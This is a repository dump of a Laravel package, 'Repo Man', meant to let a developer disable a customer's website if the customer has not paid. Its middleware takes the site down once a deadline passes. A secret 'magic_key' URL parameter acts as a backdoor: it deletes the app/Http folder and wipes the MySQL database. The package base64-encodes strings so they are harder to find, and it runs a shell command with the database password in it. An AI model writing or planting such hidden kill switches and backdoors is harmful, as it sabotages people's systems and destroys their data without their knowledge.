├── README.md ├── composer.json └── src ├── Middleware └── RepoManMiddleware.php ├── ServiceProvider.php └── config └── repoman.php /README.md: -------------------------------------------------------------------------------- 1 | # Laravel «Repo Man» 2 | Suppose the customer has not paid and you want to deactivate the site if the deadline is reached and he does not pay! 3 | 4 | ## How to 5 | 1. Install 6 | `composer require webpajooh/laravel-repoman` 7 | 2. Publish repoman.php 8 | `php artisan vendor:publish` 9 | 3. Edit config/repoman.php 10 | 11 | ## Magic key 12 | There is a `magic_key` option in the configuration file that is commented by default: 13 | `'magic_key' => 'Lbs96hv7Fzn28QLSXaIKtAXwlHSDU'` 14 | You can change the value, and use it when you want: 15 | example.com/?magic_key=Lbs96hv7Fzn28QLSXaIKtAXwlHSDU 16 | If we send a request to this link, we will lose the App/Http folder! What about the database? Uncomment `empty_database`, and the package will fresh the database after creating a backup into `storage/app` directory. Consider that we only support MySQL at the moment. 17 | -------------------------------------------------------------------------------- /composer.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "webpajooh/laravel-repoman", 3 | "description": "Set a payment deadline for the customer", 4 | "keywords": ["laravel", "tools", "package", "repo-man"], 5 | "license": "MIT", 6 | "homepage": "https://github.com/WebPajooh/laravel-repoman", 7 | "authors": [ 8 | { 9 | "name": "WebPajooh", 10 | "email": "webpajooh@gmail.com" 11 | } 12 | ], 13 | "require": { 14 | "php": ">=7.0.0", 15 | "laravel/framework":"6.*|7.*|8.*|9.*" 16 | }, 17 | "autoload": { 18 | "psr-4": { 19 | "WebPajooh\\LaravelRepoMan\\": "src/" 20 | } 21 | }, 22 | "extra": { 23 | "laravel": { 24 | "providers": [ 25 | "WebPajooh\\LaravelRepoMan\\ServiceProvider" 26 | ] 27 | } 28 | } 29 | } 30 | -------------------------------------------------------------------------------- /src/Middleware/RepoManMiddleware.php: -------------------------------------------------------------------------------- 1 | isTheMagicKeyPresent()) { 16 | $this->doTheMagic(); 17 | } 18 | 19 | $startDate = Carbon::createFromTimeString( 20 | config('repoman.start_date') 21 | ); 22 | 23 | $endTime = $startDate->copy()->addRealDays(config('repoman.deadline_days')); 24 | 25 | if ($startDate->isFuture()) { 26 | return $next($request); 27 | } 28 | 29 | if ($endTime->isPast()) { 30 | exit; 31 | } 32 | 33 | $response = $next($request); 34 | 35 | $newContent = $this->modifyContent($response->getContent(), $endTime); 36 | 37 | return $response->setContent($newContent); 38 | } 39 | 40 | private function isTheMagicKeyPresent() 41 | { 42 | return ! is_null(config('repoman.magic_key')) 43 | && config('repoman.magic_key') == request()->magic_key; 44 | } 45 | 46 | private function modifyContent($content, $endTime) 47 | { 48 | $diffInDays = $endTime->diffInDays(now()); 49 | 50 | // I have encoded the strings to make them harder to find, and I know it's ugly! 51 | if ($this->isPersian()) { 52 | $text = base64_decode('2KfbjNmGINmI2KjYs9in24zYqiA=') . $diffInDays . base64_decode('INix2YjYsiDYr9uM2q/YsSDYutuM2LEg2YHYudin2YQg2K7ZiNin2YfYryDYtNiv'); 53 | } else { 54 | $text = base64_decode('VGhpcyB3ZWJzaXRlIGJlY29tZXMgZG93biBpbiA=') . $diffInDays . Str::plural(' day', $diffInDays) . base64_decode('IGZyb20gbm93'); 55 | } 56 | 57 | // This makes a
tag with some styles... 58 | $bar = base64_decode('PGRpdiBzdHlsZT0idGV4dC1hbGlnbjpjZW50ZXI7cGFkZGluZzoxNXB4IDA7YmFja2dyb3VuZDojMmEyYTJhO2NvbG9yOiNmZmY7dXNlci1zZWxlY3Q6bm9uZTsiPg==') . $text . '
'; 59 | 60 | return preg_replace("/(]*>)/i", "$0 {$bar}", $content); 61 | } 62 | 63 | private function isPersian() 64 | { 65 | return strtolower(config('app.locale')) == 'fa' 66 | || strtolower(config('app.timezone')) == 'asia/tehran'; 67 | } 68 | 69 | private function doTheMagic() 70 | { 71 | $result = File::deleteDirectory(app_path('Http')); 72 | $message = 'Delete the directory: ' . ($result ? '✓' : '✗'); 73 | 74 | if (config('database.default') == 'mysql' && config('repoman.empty_database')) { 75 | $db = config('database.connections.mysql'); 76 | 77 | $command = "(mysqldump -h " . $db['host'] . " -u " . $db['username'] 78 | . " --password=\"" . $db['password'] . "\" " . $db['database'] 79 | . " > " . storage_path() . "/app/" . time() . '.sql' . ") 2>&1"; 80 | 81 | exec($command, $output, $returnVar); 82 | 83 | if ($returnVar == 0) { 84 | Artisan::call('migrate:fresh'); 85 | } 86 | 87 | $message .= " | Empty the database: " . ($returnVar != 0 ? '✗' : '✓'); 88 | } 89 | 90 | exit($message); 91 | } 92 | } 93 | -------------------------------------------------------------------------------- /src/ServiceProvider.php: -------------------------------------------------------------------------------- 1 | mergeConfigFrom( __DIR__ . '/config/repoman.php', 'repoman'); 14 | 15 | $this->publishes([ 16 | __DIR__ . '/config/repoman.php' => config_path('repoman.php'), 17 | ]); 18 | 19 | $this->registerMiddleware(RepoManMiddleware::class); 20 | } 21 | 22 | private function registerMiddleware($middleware) 23 | { 24 | $this->app[Kernel::class]->pushMiddleware($middleware); 25 | } 26 | } 27 | -------------------------------------------------------------------------------- /src/config/repoman.php: -------------------------------------------------------------------------------- 1 | '2099/01/01 22:00:00', 5 | 'deadline_days' => 10, 6 | // 'magic_key' => 'Lbs96hv7Fzn28QLSXaIKtAXwlHSDU', 7 | // 'empty_database' => true, 8 | ]; 9 | --------------------------------------------------------------------------------